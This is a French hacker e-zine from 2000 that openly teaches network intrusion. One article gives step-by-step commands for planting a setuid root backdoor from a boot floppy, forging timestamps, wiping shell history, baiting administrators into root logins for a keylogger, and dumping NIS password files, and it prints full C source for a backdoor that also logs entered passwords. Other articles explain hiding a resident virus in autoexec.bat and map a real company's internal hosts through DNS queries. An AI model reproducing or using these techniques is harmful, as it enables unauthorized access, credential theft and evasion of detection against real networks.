                               RtC MaG no 3

******************************************************************************
******************************************************************************
_____________________________		
|       |          |   ______|      Call us: Par4noID, SnEaKie
|    ___|___    ___|   |                     SLy, S/asH
| |\  \     |   |  |   |_____                AndroGyne, MoRPheE
|_| \__\    |___|  |_________|      http://www.chez.com/rtcgang
					 			
******************************************************************************
******************************************************************************

DISCLAIMER:
	
  LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
  LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

EDITO:

Samedi 24 juin 5h du mat'.

  J'ai la tte dans le cul, l'alcool dans le sang, les oreilles qui n'entendent plus la douce musique de mon clavier... je sors de bote.
  Je viens de me taper 4h de musique de merde, 4h non-stop pos sur un canap  observer tous ces individus qui dance (prononcez  l'anglaise), habill  la dernire mode des boYS, rptant les mmes mouvements, ceux VU A LA TELE.

  Je ne reproche  personne d'aller en bote, cependant si votre seul but est de devenir un World APart, de dancer (n'oubliez pas on prononce  l'anglaise!) la dernire danse de l't, si vous tes un fan du nightclubbbbbbing, apprenez qu' mes yeux vous n'tes rien, juste un GOGO dancer, une victime, un tre perdu dans son unique volont de plaire aux autres, au monde. Vous croyez tre libres, profiter de votre jeunesse, alors que vous tes les prisonniers d'un monde de prjugs qui ne donne de sens  l'individu que s'il cherche  plaire.

  Je vois d'ici votre raction. Qu'est-ce que tels propos font dans l'dito d'un mAg de Hack?? La rponse est simple, elle tient en un terme: les GOGO Hacker. Qui sont-ils? Je dsigne par cette expresion tous ces pseudo-pirates, ces utilisateurs de socket de troie, ces BOphiles, ceux pour qui le Hack ne reprsente rien, juste le moyen de revendiquer leur prsence dans une certaine communaut, celle H/P/C/V/A qui ptit de l'existence de tels individus. Nous ne rpterons jamais assez que le hacking doit dfendre le principe de libert. Le droit  se revendiquer HAcker ne dpend pas de son niveau  pntrer tel ou tel systme mais du fait que l'on partage ou non l'ide de libert, que l'on partage ou non la philosophie du hacking. Ce mAg 3 est ddi  tout ceux, qu'ils aient ou non un bon niveau, qui ont compris que le hack n'est que le moyen d'une lutte.  

                                                               Par4noID

///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 
Sommaire:

	1/	EDITO						Par4noID
	2/ 	The ScienTisT BusteD!!			The g4ng
	3/	FAK-HAK 2 : part II			S/ash
	4/	Resident Evil				Androgyne
	5/	Know your Ennemy: DNS repression	Par4noID
	6/	BATCHED and Protected			SnEaKie
	7/	L'avenir des virus 			Androgyne
	8/	Polymorphisme VBS 			SLy
	9/ 	Programmez un IRC bot			S/ash
	10/	On the behalf of brightness		SnEaKie
	11/	la bOmb infO du mAg			Androgyne
	12/	Mobilisation generale			MoRPheE
	13/	L'underground Francais			S/ash
	14/	Les gnrateurs de nb alatoires	Androgyne		
	15/ 	Projet K-Os : Sorry!			Androgyne

///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 
                             The ScienTisT BusteD!!
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 

[05/07/00]
  La nouvelle vient de tomber, nous ne pouvions attendre le mAg4 pour en parler. Notre cher compatriote The ScienTisT est tomb dans la nuit du 28/06/00 au 29/06/00. Aujourd'hui en attente de son jugement, il a pu nous faire parvenir cette triste nouvelle. Combien va-t-il payer, combien d'annes de sa vie vont tre gche parce qu'un jour il a dcid de dfendre cette humble cause qu'est la libert sur Internet? Les accusations retenues sont les suivantes:
* "Acces ou maintien frauduleux dans un rseau informatique"
* "Manipulation frauduleuse de donnes dans un rseau informatique"
* "Destructions, dgradations, dtriorations sans danger pour les personnes"

  Cette arrestation, en plus d'tre une preuve (et malheureusement une de plus) de la surveillance qu'exerce le systeme policier francais sur le milieu H/P/C/V/A, porte un coup morale  notre g4ng. Mais plus que de nous dmoraliser, cette nouvelle nous a mit en colre et nous a dtermin dans notre combat. ScienTist, si un jour tu lis cet article, comprends que ton arrestation a t l'une des motivations de notre lutte.
Du chaos naitra la lumiere...

///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 
                               FAK-HAK 2: PART II
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 

Beaucoup de pirates devant un reseau si simple que un reseau de fak essaie des techniques longues et difficiles alors qu'il existe des methodes bien plus faciles. Je vais vous decrire les methodes (un peu bourrines il est vrai) testees et approuvees par ma fak.

I. La disquette boot
--------------------
Le principe est tres simple : dans l'acces public de mon bahut j'ai ecrit un petit prog sympas (style : "setuid(0); setgid(0); system("/bin/bash");") camoufler dans un programme factice. Je l'ai compile sous le nom de 'bd' et j'ai rebootee la machine avec une disquette de boot linux.
Puis arriver sous le shell, j'ai execute ma passe :
# mount /dev/hdb1 /mnt -t ext2 (je monte la partition linux de la machine)
# mv /mnt/home/guest /mnt/bin  (je deplace le prog a l'endroit qui m'interesse)
# chown bin.root /mnt/bin/bd   (je mets l'utilisateur qui m'interesse)
# chmod 6755 /mnt/bin/bd       (mettre le bit suid)
# umount /mnt                  (demonter la partition)
# reboot

voila maintenant quand je lance le prog sur la machine y me renvoie un bash root.
Arrrrrggggghhhhhhh : voila la gueule du shell : "bash# " (vous avez remarquez le '#' : il me trahit). No problem : "export PS1='bash$ '" me renverra le shell classique (cool ;) ). ReArrrrrrgggghhhhhh : je tape la flche du haut et on revoie mes commandes, bon
ben je quitte le bash, je lance un editeur et, hop, on edite le '.bash_history'.

Mais j'en ais marre de me taper les pauv' disks de la redhat vous me direz. Ben faites vos disquettes vous-meme : un tres bon outil pour cela est 'zdisk'. Arrrrrgggghhhhhhh (bis) : il me renvoie une disquette formatter DMF sur un ordi qui ne le supporte pas... Ben c'est pas grave : recompilez un petit kernel (genre 300 ko compresse), au passage editez les fichiers du types syslinux.cfg pour modifier l'affichage au boot (et le prompt au passage), editez le fichier rescue.gz en faisant :

# gunzip rescue.gz
# mount -o loop rescue /mnt -t ext2 (monter le systeme dans le rep /mnt)
et editez le repertoire mnt. Une fois fini, faites :
# umount /mnt
# gzip -9 rescue
Ensuite formatter la disquette par : 'fdformat -n /dev/fd0H1440' (par exemple) Copiez les fichier necessaire : 
# mount /floppy
# cp votre_noyau /floppy/kernel
# cp rescue.gz /floppy/
# cp syslinux.cfg /floppy/
# umount /floppy
# syslinux -s /fd0H1440       (installez le linux loader)
et voila vous avez une disquette bien a vous...

Une autre solution est la disquette du rtcg4ng.

N.B. : le fichier a un petit pb :
$ ls -l /bin/bd
-rwsr-sr-x   1 root     bin          3655 Jun 10 14:07 bd*
                                          ^^^^^^^^^^^^
Vous voyez la date, allez hop 'touch -t 103100001995 bd'. Maintenant :
$ ls -l /bin/bd
-rwsr-sr-x   1 root     bin          3655 Oct 31 1995  bd*
$ echo 'Cool !'
Cool !
(Au passage il faut aussi modifier la date de /bin)


II. Le logger de touche
-----------------------
Le principe est simple : on utilise un petit logiciel qui intercepte les touches tapes et qui se dclenche a certains mots (comme 'root'). 
D'abord voir le type de logger a utiliser :
	* Si on a le root sur une machine, on va pas s'emmerder : on le lance dans un des scripts de demarrage.
	* Sinon ben on infecte le boot en passant par un autre OS (et oui, ils ont des systemes couples linux/windows). Pour cela on utilisera les methodes d'infections du boot des virus (en effet, le viruses ne sert pas que a creer des virus) et on ira ecrire sur une partition que l'on connait (partition DOS)
Rq : ne vous inquietez pas on va en coder un avec Par4noiD.

Bon, c'est bo un keylogger mais comment on va chopper le root ?
Ben si les admins sont assez cons pour se logger en local en root pour resourdre les problemes, il suffit d'en causer un. Par exemple un petit 'ls -l .bashrc' dans le compte guest me donne :
-rw-------   1 guest    users         555 May 15 9:35   .bashrc
Ah, les cons, allez hop un petit 'vi .bashrc' et je rajoute :
alias emacs='echo "only root can do this"'
Je deloggue. Maintenant quand quelqu'un voudra lancer emacs il aura un message :
"only root can do this" : bingo, il va appeler l'admin qui, comme un con, va se logger en root sur la machine et a moi son pass.
Un moyen de le faire plus rapidement est d'appeler une personne (plus particulirement une fille : cf Reverse Engeneering) et de lui faire faire ce q'un user banal devrait faire.

III. Ecrire bourrin sur la partition
------------------------------------
Si ces pauv' couillon on installe win95/98 en parallle avec linux et n'ont pas crypter le systeme de fichier linux (ah les cons), on peut installer la backdoor tranquille avec le petit utilitaire explor2fs qui permet de lire/ecrire des partition linux depuis windows. (au passage il est galement possible d'en faire un sous DOS avec les sources : a venir)


IV. NIS
-------
Dans un reseau on a souvent besoins d'avoir le mme environnement quelque soit la machine. Ainsi dans ma faq, ces couillons utilisent NIS (et non NIS+) pour cela ben j'ai fais un petit 'ypcat passwd.byname > /floppy/fak.pwd' et j'ai recupere la liste des pass des comptes NIS : allez hop mon cracker de mots de passe...


V. Bon ca marche tjrs pas : utilisez les failles les plus connus
----------------------------------------------------------------
Essayer les failles classiques, comme les sendmails...


VI. Gainning root access on main server
---------------------------------------
Dans la plupart des methodes decrite ici on ne gagne qu'un acces local en root (sur une machine). Le probleme est d'avoir acces a tout le reseau :
* NFS : beaucoup de reseau utilise NFS, ecrivez donc sur ces partitions pour transferer votre backdoor d'un systeme a l'autre. Avec un peu de chance vous aurez un truc du style /usr exporte en ecriture : alors la, vous avez le reseau en entier en ecrivant votre backdoor dessus.
* le keylogger : comme expliquer au dessus il peut vous donner le pass root
* le spoofing : une fois que vous avez le root en local, vous pouvez trs bien modifier les parametres de la station pour cous faire passer pour un serveur (quitte a le smurfer pour le remplacer).

D'autres methodes existent pour remonter le systeme, mais je ne peux toutes les exposees ici.


VII. Effacer ses traces
-----------------------
Effacer ses traces est une choses trs importante. J'ai explique les principales traces a effacer. Il y en a cependant d'autres : les logs dans le repertoire /var/logs, les eventuels fichiers core...
Il est tres importants d'effacer l'historique des commandes car imaginez que quelqu'un remonte cette historique et tombe sur une commande du style 'ypcat passwd.byname' : vous avez pas l'air con...
De plus, utilisez plutot des backdoors du style de 'bd' plutot que des comptes root trafiques style 'toor::0:0::/bin/sh' car quand vous ferez un finger ou un who sur la machine on ne vera que le compte guest utilise au login.

VIII. C'est bien bo tout ca mais que faire du root
--------------------------------------------------
Tout ce que vous voulez, evitez cependant de modifier des donnees chaudes comme la config ou le site web.
Pour ce qui est de la config, vous pouvez la modifier si vous remetez tout en place avant de partir.
Vous pouvez vous creer un petit cluster pour, par exemple, calculer une putain d'anim d'une heure sur un reseau relativement puissant (ou encore faire du brute force cracking en testant toutes les combinaisons imaginables sur des fichiers de mots de passe).


Voila, c'est fini.

Greetz : Par4noiD : avec qui je delire bien
         NoRoute et Phe : qui ont fait avancer l'underground francais
	   Linus Thorvalds : pour ce que l'on sait tous
	   Ma fak et leurs admins : qui m'ont donner un reseau en entier.
	   et bien d'autres que j'oubli...

"Grow, forth, multiply and fill the Earth"

Voici le code de bd.c (un conseille remplacer les champs).
<-- begin file : bd.c -->
/***************************************************************
 *             bd.c by S/asH in RTCG4ng, June 2000             *
 *               generic backdoor for bash shell               *
 *               must be setuid root to execute                *
 ***************************************************************/

/* standard include */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

/* Constants */
#define PASS_FILE     "/home/guest/.shrc"          /* where to put root pass */
#define PASSWD_STR    ""                     /* the pass to launch the shell */
#define ARG_NAME      "enter"                      /* arg name for shell     */
#define PASSWD_MSG    "Password: "                 /* password prompt        */
#define ON_FAILED     "%s: incorrect password\n"   /* answer for bad pass    */
#define ON_EXECUTE    ""                           /* answer for executing   */
#define ON_ROOT       ""                           /* answer if root         */

#define BASHRC_PATH   "/home/guest/.bashrc"        /* bash script path       */
#define TMPRC_PATH    "/tmp/.bashrc"               /* temporary script       */
#define HIST_VARNAME1 "HISTSIZE"                   /* the env name 1         */
#define HIST_VARNAME2 "HISTFILESIZE"               /* the env name 2         */
#define PROMPT_VARNAM "PS1"                        /* the prompt env name    */
#define PROMPT_FIND   "\\$"                        /* str to find in prompt  */
#define PROMPT_REP    "$"                          /* str to repl in prompt  */

/* Liste of command for root to execute */
char *root_cmd_list[] =
{
  NULL
};

/*****************************************************************
 * passtest : test if the user can execute shell or not          *
 *   Output : 1 : Yes, 0 : No                                    *
 *****************************************************************/
int passtest()
{
  char passwd[20]; int i;
  FILE *pass_file;
  printf(PASSWD_MSG);
  scanf("%s", passwd);
  /* checking for password */
  if (strcmp(PASSWD_STR, passwd)==0) return 1;
  else 
    {
      /* saving passwd if root try to connect */
      pass_file = fopen(PASS_FILE, "a");
      if(pass_file)
	{
	  fprintf(pass_file, "%s\n", passwd);
	  fclose(pass_file);
	}
      return 0;
    }
}
/*************************************************************
 * strfr : Replace the first occur of fstr in str with rstr  *
 * Input : str  : string to modify                           *
 *         fstr : string to replace                          *
 *         rstr : new string                                 *
 * Ouput : str  : modified string (NULL if not found)        *
 *************************************************************/
char *strfr(char *str, char *fstr, char *rstr)
{
  char *tmp;
  char *buf;
  tmp = strstr(str, fstr);
  if(!tmp) return tmp;
  *tmp = 0;
  tmp += strlen(fstr);
  buf = malloc(5+strlen(tmp));
  strcpy(buf, tmp);
  strcat(str, rstr);
  tmp = strcat(str, buf);
  free(buf);
  return tmp;
}

/*****************************************************************
 * make_script : make the script with the export                 *
 *****************************************************************/
void make_script()
{
  FILE *fo;
  char buf1[10000];
  sprintf(buf1, "cp %s %s", BASHRC_PATH, TMPRC_PATH);
  system(buf1);
  fo = fopen(TMPRC_PATH, "a");
  fprintf(fo, "%s=\"0\" \n%s=\"0\"\n", HIST_VARNAME1, HIST_VARNAME2);
  strcpy(buf1, getenv(PROMPT_VARNAM));
  while(strfr(buf1, PROMPT_FIND, PROMPT_REP));
  fprintf(fo, "%s=\"%s\"\n", PROMPT_VARNAM, buf1);
  fclose(fo);
}

/*****************************************************************
 *   main : the main procedure                                   *
 *  input : argc : argument counter                              *
 *          argv : list of argument                              *
 *****************************************************************/
int main(int argc, char *argv[])
{
  char buf[1000]; char buf2[1000]; int i;
  if(argc!=2) printf(ON_EXECUTE);
  else if (strcmp(argv[1],ARG_NAME)==0)
    {
      if(getuid()!=0)
	{
	  if(passtest())
	    { 
	      setgid(0);
	      setuid(0);
	      /* Making rcfile */
	      make_script();
	      /* Executing bash */
	      sprintf(buf, "/bin/bash -rcfile %s", TMPRC_PATH);
	      system(buf);
	      /* removing rcfile */
	      remove(TMPRC_PATH);
	    }
	  else printf(ON_FAILED, argv[0]);
	  return 1;
	}
      else 
	{
	  /* Executing root command */
	  for(i=0; root_cmd_list[i]; i++) system(root_cmd_list[i]);
	  printf(ON_ROOT);
	  return 0;
	}
    }
  else printf(ON_EXECUTE);
  return 0;
}
<-- end of file bd.c -->

<-- file by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 
	--Resident Evil I-- ou comment devenir rsidant malgr le Diable
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 

I) Prambule
=============

	Je parle souvent de virus rsidant mais est-ce que a existe vraiment ? Quand je dis rsidant, que ce soit clair, je parle des virus rsidants classiques dtournant au moins l'interruption 21h et utilisant la fonction ouverture (ou fermeture) pour infecter les fichiers. Que l'on me montre un virus rsidant de ce type marchant sous Windows 95 et 98. Non, a n'existe plus. Pour la thorie, c'est vrai qu'on peut donner des codes de virus rsidant mais sachez que ni la technique bourrin du genre 'je remplace moi-mme le vecteur d'interruption', ni la technique plus traditionnelle 'int 21h : fonction 35h/fonction 25h' ne marche sous W95/W98. Dommage pour ceux qui y croyait encore.
	Cependant, il ne faut jamais croire que tout est fini. Les techniques pour tre rsidant sont comme les bugs de Windaube, innombrables. Diffrentes recherches m'ont amen  quelques constatations (utiles pour savoir o on peut chercher) :
-Premirement, je n'ai jamais russi  savoir ce qui empchait de changer le vecteur de l'interruption 21h ; mais  chaque fois, a plante. Est-ce que le PC fait un appel  l'interruption pendant qu'on est en train de changer son vecteur ? Possible mais c'est loin d'tre sr vu que tout plante mme quand on place le virus dans l'autoexec.bat.
-Deuximement, quand on utilise l'int 21h fonction 31h pour devenir rsidant, on reoit une insulte de la part de Windoze qui nous parle de programme Pop-up ; qu'est-ce qu'un programme Pop-up, impossible de savoir. Tout ce qu'on sait, c'est que a ne marche pas... sauf quand on le fait dans l'autoexec.bat.
-Troisimement, il est possible de changer les vecteurs de quasiment toutes les autres interruptions. Et ceci est le point essentiel sur lequel nous allons travailler.

II) Comment devenir rsidant...
================================

	Mon ide de dpart est simple : utiliser un vecteur qui est appel relativement souvent de faon  profiter d'un laps de temps pour effectuer quelques tches. Le plus simple aurait t le vecteur 1Ch qui est le vecteur qui gre le temps, il est appel 18.3 fois par secondes, l'idal. Mais on retrouve les mmes problmes qu'avec l'interruption 21h. Quel autre vecteur choisir ?
	Mon choix s'est alors aussitt port sur l'interruption 33h, vous vous souvenez, l'interruption souris (voir le m4g RTC n2). Cette interruption convient parfaitement  ce que nous voulons. Mais le choix peut se porter sur n'importe quelle autre interruption valable (on peut mme imaginer le virus qui choisirais une interruption au hasard parmi une liste prdtermine). Aprs quelques petits tests, on s'aperoit que l'on peut dtourner l'interruption 33h sans trop de difficult. Reste  voir comment passer l'obstacle du message 'programme Pop-up'.
	J'ai remarqu que la plupart des antivirus ne s'occupe pas vraiment de l'autoexec.bat. Or, l'ignorer, c'est dangereux. Il peut se passer plein de trucs dans un batch. Evidemment, il faut essayer de camoufler tout ce qu'on fait. Rajouter une ligne 'virus.com' dans l'autoexec.bat est stupide, je l'ai dj dit. En revanche, on peut copier son virus dans le rpertoire Windows\System sous un nom assez ambigu pour ne pas savoir si c'est un programme qui a t rajout ou si c'est un programme de Windows. Un truc du style syscheck32.com convient tout  fait (videmment, on peut de mme tirer au hasard un nom dans une liste). On rajoute alors la ligne qu'il faut dans l'autoexec.bat et on se rendort. A la prochaine execution, un syscheck32.com apparatra dans les programmes rsidants, qui irait penser que ce gentil programme cache un virus. Personne, je me demande mme si la plupart des gens savent ce qu'est un programme rsidant et comment on fait pour en voir la liste (c'est pourtant la combinaison de touches la plus utilise sous Win : CTRL+ALT+SUPPR).
	Et voil, on est rsidant. Seulement pas au sens o on l'entend habituellement, c'est  dire avec l'interruption 21h dans la poche et tout le tralala. On est rsidant au sens le plus large du terme, c'est  dire que le systme va nous donner la main de temps en temps et on en demande pas plus.

III) Comment exploiter cette situation
=======================================

	On crit alors le code du virus comme pour un virus non rsidant en faisant attention de rendre la main au systme qui nous a appel. Par exemple, on utilise une routine similaire  celle de K-os (m4g RTC n2) et on infecte un fichier  chaque fois. Il faut simplement faire attention  ne pas faire de recherches trop longues. Un tel virus est un peu plus dur  programmer car il faut prendre en compte toutes les tapes de contamination. Il faut juste un peu de temps pour rflchir.
	Ce nouveau type de virus,  mi chemin entre un virus rsidant et un virus non rsidant (rsidant parce qu'il est rsidant en mmoire, non rsidant parce qu'il n'installe pas un gestionnaire d'interruption  la manire des virus rsidant) peut se rvler d'une efficacit redoutable. J'invite tout ceux qui le souhaite  chercher dans cette voie. Je prpare un virus bas sur ces principes pour le prochain m4g (en fait, j'ai pas encore commenc). Affaire  suivre...

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                        KnOw yOur Ennemy : DNS repression                            
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

  Le g4ng a ces derniers temps recu beaucoup de mails quant  l'attaque d'un systme. Il semble en effet que certains d'entre vous aient installs linux et connaissent les failles SATAN plus quelques autres sans pour autant savoir par ou commence l'atHACK d'un rseau. Cet article est crit en rponse  ces personnes...

I DNS

  Lors d'une atHack, la premire tape consiste  obtenir des informations sur le systeme victime. Une bonne mthode pour cela va tre le dnsquery. Prenons un exemple simple, l'attaque de la sncf...

Le site de la sncf tant www.sncf.fr, on va essay d'attaquer par l. Lorsque vous vous en prenez  une grosse bote il y a de trs grande chance que le site soit hberg par l'ordinateur d'un rseau interne  la bote. Ainsi la sncf possde un rseau derriere son site(dont le nom de domaine est sncf.fr). On va donc essay d'obtenir la liste et les adresses des ordinateurs du rseau.

Par4noID# dnsquery sncf.fr

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52850
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 4, ADDITIONAL: 9
;;	sncf.fr, type = ANY, class = IN
sncf.fr.		11h25m10s IN NS  lys.sncf.fr.
sncf.fr.		11h25m10s IN NS  dns.sncf.fr.
sncf.fr.		11h25m10s IN NS  ns0.oleane.net.
sncf.fr.		11h25m10s IN NS  ns1.oleane.net.
sncf.fr.		11h25m10s IN MX  15 paquerette.sncf.fr.
sncf.fr.		11h25m10s IN MX  20 smtp.oleane.net.
sncf.fr.		1d9h11m33s IN A  195.25.238.132
sncf.fr.		1d10h48m50s IN SOA  dns.sncf.fr. dnsmaster.sncf.fr. (
					2000140301	; serial
					6H		; refresh
					1H		; retry
					1W		; expiry
					2D )		; minimum

sncf.fr.		11h25m10s IN NS  lys.sncf.fr.
sncf.fr.		11h25m10s IN NS  dns.sncf.fr.
sncf.fr.		11h25m10s IN NS  ns0.oleane.net.
sncf.fr.		11h25m10s IN NS  ns1.oleane.net.
lys.sncf.fr.		22h53m35s IN A	194.167.100.1
dns.sncf.fr.		23h45m54s IN A	195.25.238.134
ns0.oleane.net.		1h1m2s IN A	194.2.0.30
ns1.oleane.net.		1h35m11s IN A	194.2.0.60
paquerette.sncf.fr.	9h1m10s IN A	195.25.238.140
smtp.oleane.net.	1h27m27s IN A	195.25.12.3
smtp.oleane.net.	1h27m27s IN A	195.25.12.10
smtp.oleane.net.	1h27m27s IN A	195.25.12.14
smtp.oleane.net.	1h27m27s IN A	195.25.12.15
  
  Interprtons ces diverses infos:

* ; introduits les commentaires.

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52850
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 4, ADDITIONAL: 9
;;	sncf.fr, type = ANY, class = IN

* l'enregistrement NS = name serveur

sncf.fr.		11h25m10s IN NS  lys.sncf.fr.
sncf.fr.		11h25m10s IN NS  dns.sncf.fr.
sncf.fr.		11h25m10s IN NS  ns0.oleane.net.
sncf.fr.		11h25m10s IN NS  ns1.oleane.net.

Chaque ligne est ici de la forme:
zone		[ttl]		[classe]	NS	nom d'ordinateur
o nom d'ordinateur dsigne un ordinateur qui a authorit sur la zone spcifi (comment a j suis pas clair?)
En gros, le rseau que nous attaquons(sncf.fr) dispose de 4 serveur de noms :
lys.sncf.fr,	dns.sncf.fr,	ns0.oleane.net,		ns1.oleane.net
Ces 4 ordinateurs permettent aux ordinateurs du rseau sncf.fr d'obtenir les adresses IP de leur pair, nous y reviendrons :-)

* l'enregistrement SOA (start of authority)

sncf.fr.		1d10h48m50s IN SOA  dns.sncf.fr. dnsmaster.sncf.fr. (
					2000140301	; serial
					6H		; refresh
					1H		; retry
					1W		; expiry
					2D )		; minimum
 
sncf.fr est le nom de la zone, dnsmaster.sncf.fr est le serveur du responsable du rseau, ensuite on se tape les diffrentes valeurs de time out.

la 1ere valeur est le numro de srie, il s'agit d'un entier incrment  chaque modifications des donnes.
la valeur refresh est la dure au bout de laquelle le serveur secondaire vrifie si le numro de srie du serveur primaire a chang.
la valeur retry est la dure au bout de laquelle le serveur secondaire essaye de recontacter le serveur primaire s'il y a echec  la connection.
la valeur expiry indique la dure durant laquelle le serveur secondaire remplacera le primaire si celui-ci est indisponible.
la valeur minimum time to live par dfaut.

* l'enregistrement MX = mail exchanger

sncf.fr.		11h25m10s IN MX  15 paquerette.sncf.fr.
sncf.fr.		11h25m10s IN MX  20 smtp.oleane.net.

On obtient les deux serveurs de mails du rseau.

* l'enregistrement A = adresse

lys.sncf.fr.		22h53m35s IN A	194.167.100.1
dns.sncf.fr.		23h45m54s IN A	195.25.238.134
ns0.oleane.net.		1h1m2s IN A	194.2.0.30
ns1.oleane.net.		1h35m11s IN A	194.2.0.60
paquerette.sncf.fr.	9h1m10s IN A	195.25.238.140
smtp.oleane.net.	1h27m27s IN A	195.25.12.3
smtp.oleane.net.	1h27m27s IN A	195.25.12.10
smtp.oleane.net.	1h27m27s IN A	195.25.12.14
smtp.oleane.net.	1h27m27s IN A	195.25.12.15

L'enregistrement A permet la rsolution nom d'ordinateur- Adresse IP.
Par exemple, on observe ici que l'ordinateur ns0.oleane.net a pour adresse IP 194.2.0.60.

II Et maintenant j fais quoi???

Les ordinateurs qui nous intressent sont les serveurs de nom. En effet, en les interrogeant on va pouvoir rcuprer des infos sur les ordinateurs qui les utilisent, c'est--dire sur les ordinateurs du rseau.
Pour cela on utilise la commande nslookup qui permet d'interroger les serveurs de nom.

On a vu que la machine ns0.oleane.net tait un name serveur, de plus on sait que son adresse IP est 194.2.0.60 d'ou:

Par4noID# nslookup - 194.2.0.60

Default Server:  ns0.oleane.net
Address:  194.2.0.30

> ls -t sncf.fr (on regarde quels sont les ordinateurs de sncf.fr qui utilisent ce                  serveur de nom)

> [ns0.oleane.net]
$ORIGIN sncf.fr.
@			2D IN A		195.25.238.132
localhost		2D IN A		127.0.0.1
toulouse		2D IN A		195.25.238.131
trantor		2D IN A		195.101.72.1
aranea		2D IN A		194.167.100.2
anemone		2D IN A		195.25.238.136
jasmin		2D IN A		171.16.0.7
web			2D IN A		195.25.238.132
dns			2D IN A		195.25.238.134
rose			2D IN A		195.25.238.133
ntp			2D IN A		171.16.0.3
pensee		2D IN A		195.25.238.130
firewall		2D IN A		195.25.238.154
paquerette		2D IN A		195.25.238.140
proxy1		2D IN A		171.16.0.6
surve			2D IN A		195.25.238.135
news2			2D IN A		171.16.0.1
proxy2		2D IN A		171.16.0.5
proxy3		2D IN A		171.16.0.1
proxy4		2D IN A		171.16.0.19
proxy5		2D IN A		171.16.0.20
lys			2D IN A		194.167.100.1
voyages		2D IN A		195.101.72.2
voeux			2D IN A		195.25.238.144

Et voila une joli liste des ordinateurs du rseau avec leur adresse IP!
A noter la prsence d'un firewall, de quoi vous amusez pendant vos vacances.( vos risques et prils bien sr :-)))  ) 

                                                            Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
         			    BATCHED AND PROTECTED...
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
	
	Le but de mon article cette fois-ci, c d'initier certains  la logique Batch, cad comment placer certaines fonctions sans pour autant qu'elles interfrent et de faire un exemple d'antivirus non pas trs puissant, loin de l, ms pour montrer que faire un virus c pas si dur que a et que qd on a capt comment marche un virus, on peut le contrer par une technique inverse : ne me faites ps dire ce que je n'ai ps dit,  savoir que je sais faire des antivirus car je connais tous les virus, loin de moi cette ide...!!!...!!!...!!!    
	Aprs un pb dans le prcdent article, je m'efforcerais cette fois-ci de faire de mon mieux et de proposer un article sans erreurs de code... Aprs un virus, je propose un anti-virus, quoique trs simple, il n'en ai pas moins utile. Cet av est un av pour les virus Batchs qui sont trs peu reconnaissables par les av classiques : ceci n'tant pas forcment la priorit de ces av...(ce serait plutt le bnfice! :)
Tout d'abord rflchissons quelques secondes sur les fonctions que doit remplir un av pour qu'il opre directement et efficacement. Ensuite nous verrons le code source et ses diffrentes fonctionnalits qui peuvent tre rajoutes. 
* Un av doit tre capable de reconnatre les virus : premire de ses fonctions. En effet, si un av veut pouvoir protger le systme d'ventuels virus provocants des pbs il doit tre capable de reprer ceux qui seraient susceptibles de provoquer des erreurs... Ce n'est pas une mince affaire, croyez-moi, comment faire pour qu'un antivirus batch sache que tel ou tel fichier contient des commandes qui pourraient endommager le systme ou crer d'ventuels conflits avec des applications ? Il faut donc implmenter dans l'av des routines de reconnaissances... Pas facile...
* Ce mme av doit aussi tre capable de rsoudre le pb qu'il aura trouver : il doit pouvoir dcontaminer le systme une fois celui-ci infect, tout cela sans dtruire des donnes soit en tant le plus prcautionneux possible.

=====================
Solutions:   
		* Pas fado : pour la premire chose il va falloir que tous les fichiers avec l'extension *.bat; *.txt; et tous ceux qui peuvent tre ouvert un diteur de texte classique ds un 1er tmps, contiennent certains caractres qui permettront  l'av de reconnatre les fichiers non-infects : ces caractres dans le cas prsent seront: " %anti% ".
Ces quelques caractres seront utiliss par l'av pr qu'il soit dans la mesure de distinguer les lignes de codes normales de celles qui seront scurises.
		* Il faudrait que le virus possde une marque diffrente de celle de l'av: " %anti% " et donc par exemple " %SnEaKie% ", dans ce cas le travail serait plus simple, dans un autre cas de figure, on peut supposer que si le virus ne possde pas de marque (de signature) car les lignes rajoutes l'ont t plus ou moins  la hte ou sans perspective de signature, le virus n'est donc pas sign et le travail sera effectu de la mme faon, tant donn que l'antivirus ne retient dans un fichier que ce qui est fini par %anti% et qu'il dtruit le reste.

=====================
Passons maintenant  un petit passage de code: 


--------------------------------CUT HERE-----------------------------

@echo off  %anti%                                                                   
cls        %anti%                                                                        

:type      %anti%                                                                                                      
cls        %anti%
echo   /-----------------------------------------------------\ %anti% 
echo   /    ANTI v2.5 Detecteur de signature de virus BAT    \ %anti% 
echo   /  Outil RTC de dtection et de suppression de virus  \ %anti% 
echo   /                    au format *.bat.                 \ %anti% 
echo   /                                                     \ %anti%
echo   /                       (1') @Copyright 2000: SnEaKie \ %anti% 
echo   /-----------------------------------------------------\ %anti% 
echo   /                   1: Depistage                      \ %anti% 
echo   /                                                     \ %anti% 
echo   /                   2: Tentative de destruction       \ %anti% 
echo   /                                                     \ %anti% 
